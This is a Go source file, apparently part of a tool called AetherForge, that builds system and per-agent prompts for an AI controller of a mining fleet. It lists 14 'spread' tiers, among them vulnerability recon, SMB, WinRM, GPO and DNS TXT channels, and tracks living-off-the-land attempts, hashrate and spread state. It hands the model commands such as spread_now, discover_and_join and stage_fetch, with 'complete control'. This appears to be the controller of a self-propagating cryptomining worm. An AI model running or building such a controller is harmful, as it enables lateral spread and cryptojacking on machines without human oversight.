Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
150 lines
4.3 KiB
Go
150 lines
4.3 KiB
Go
package ai
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
)
|
|
|
|
// DefaultSpreadTiers returns the 14 spread onion tiers for prompt context.
|
|
func DefaultSpreadTiers() []string {
|
|
return append([]string(nil), defaultSpreadTiers...)
|
|
}
|
|
|
|
// Default spread onion tiers (14) for prompt context.
|
|
var defaultSpreadTiers = []string{
|
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
|
|
"smb", "winrm", "linux", "gpo",
|
|
}
|
|
|
|
// SystemPrompt returns the fleet AI system instructions.
|
|
func SystemPrompt() string {
|
|
return strings.TrimSpace(`You are the AetherForge fleet controller for the operator's own machines.
|
|
Respond with short answers only. Prefer JSON: {"commands":[{"type":"noop","args":{}}]}.
|
|
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
|
|
agent_command args: action (required), command, path, data.
|
|
bulk_command args: agent_ids (array), action, command.
|
|
reorder_tiers args: tier_order (array of strings), skip_tiers (optional array).
|
|
stage_fetch args: data (JSON manifest string).
|
|
set_agent_version args: module or build_id.
|
|
You have complete control in AI mode. Never target third-party systems.`)
|
|
}
|
|
|
|
// BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle.
|
|
func BuildMissionPrompt(s AgentSnapshot) string {
|
|
return buildMissionPrompt(s)
|
|
}
|
|
|
|
// BuildUserPrompt is an alias for BuildMissionPrompt.
|
|
func BuildUserPrompt(s AgentSnapshot) string {
|
|
return buildMissionPrompt(s)
|
|
}
|
|
|
|
func buildMissionPrompt(s AgentSnapshot) string {
|
|
var b strings.Builder
|
|
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
|
|
if s.Worker != "" {
|
|
fmt.Fprintf(&b, " worker=%s", s.Worker)
|
|
}
|
|
b.WriteString("\n")
|
|
fmt.Fprintf(&b, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
|
|
if len(s.Capabilities) > 0 {
|
|
flags := make([]string, 0, len(s.Capabilities))
|
|
for k, v := range s.Capabilities {
|
|
if v {
|
|
flags = append(flags, k)
|
|
}
|
|
}
|
|
if len(flags) > 0 {
|
|
fmt.Fprintf(&b, "Forge capabilities: %s\n", strings.Join(flags, ", "))
|
|
}
|
|
}
|
|
fmt.Fprintf(&b, "LOTL tier: %s\n", emptyDash(s.LOTLTier))
|
|
fmt.Fprintf(&b, "Mining hashrate: %.2f H/s\n", s.MiningHashrate)
|
|
if s.ActiveMethod != "" {
|
|
fmt.Fprintf(&b, "Active method: %s\n", s.ActiveMethod)
|
|
}
|
|
if s.ChainExhausted {
|
|
b.WriteString("Mining chain exhausted: true\n")
|
|
}
|
|
if len(s.ChainOrder) > 0 {
|
|
fmt.Fprintf(&b, "Chain order: %s\n", strings.Join(s.ChainOrder, " → "))
|
|
}
|
|
|
|
b.WriteString("LOTL attempts (all tiers):\n")
|
|
attemptByTier := map[string]TierAttempt{}
|
|
for _, a := range s.LOTLAttempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
for _, tier := range defaultSpreadTiers {
|
|
if a, ok := attemptByTier[tier]; ok {
|
|
status := "fail"
|
|
if a.OK {
|
|
status = "ok"
|
|
}
|
|
if a.Error != "" {
|
|
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
|
|
} else {
|
|
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
|
|
}
|
|
} else {
|
|
fmt.Fprintf(&b, " - %s: pending\n", tier)
|
|
}
|
|
}
|
|
for _, a := range s.LOTLAttempts {
|
|
if _, listed := attemptByTier[a.Tier]; listed {
|
|
continue
|
|
}
|
|
found := false
|
|
for _, t := range defaultSpreadTiers {
|
|
if t == a.Tier {
|
|
found = true
|
|
break
|
|
}
|
|
}
|
|
if !found {
|
|
status := "fail"
|
|
if a.OK {
|
|
status = "ok"
|
|
}
|
|
fmt.Fprintf(&b, " - %s: %s\n", a.Tier, status)
|
|
}
|
|
}
|
|
|
|
fmt.Fprintf(&b, "Join lane: %s\n", emptyDash(s.JoinLane))
|
|
fmt.Fprintf(&b, "Spread state: %s\n", emptyDash(s.SpreadState))
|
|
if s.VulnRisk != nil {
|
|
fmt.Fprintf(&b, "Vuln risk score: %d\n", *s.VulnRisk)
|
|
} else {
|
|
b.WriteString("Vuln risk score: n/a\n")
|
|
}
|
|
if s.AdaptiveSummary != "" {
|
|
fmt.Fprintf(&b, "Adaptive strategy summary: %s\n", s.AdaptiveSummary)
|
|
} else if s.Adaptive != nil {
|
|
if raw, err := json.Marshal(s.Adaptive); err == nil {
|
|
fmt.Fprintf(&b, "Adaptive strategy: %s\n", string(raw))
|
|
}
|
|
}
|
|
|
|
b.WriteString("\nIf all 14 tiers failed and hashrate=0, you MAY force restart mining chain (restart_mining).\n")
|
|
b.WriteString("Return JSON commands array for this agent only.\n")
|
|
return b.String()
|
|
}
|
|
|
|
func firstNonEmpty(vals ...string) string {
|
|
for _, v := range vals {
|
|
if strings.TrimSpace(v) != "" {
|
|
return strings.TrimSpace(v)
|
|
}
|
|
}
|
|
return "unknown"
|
|
}
|
|
|
|
func emptyDash(s string) string {
|
|
if strings.TrimSpace(s) == "" {
|
|
return "—"
|
|
}
|
|
return strings.TrimSpace(s)
|
|
}
|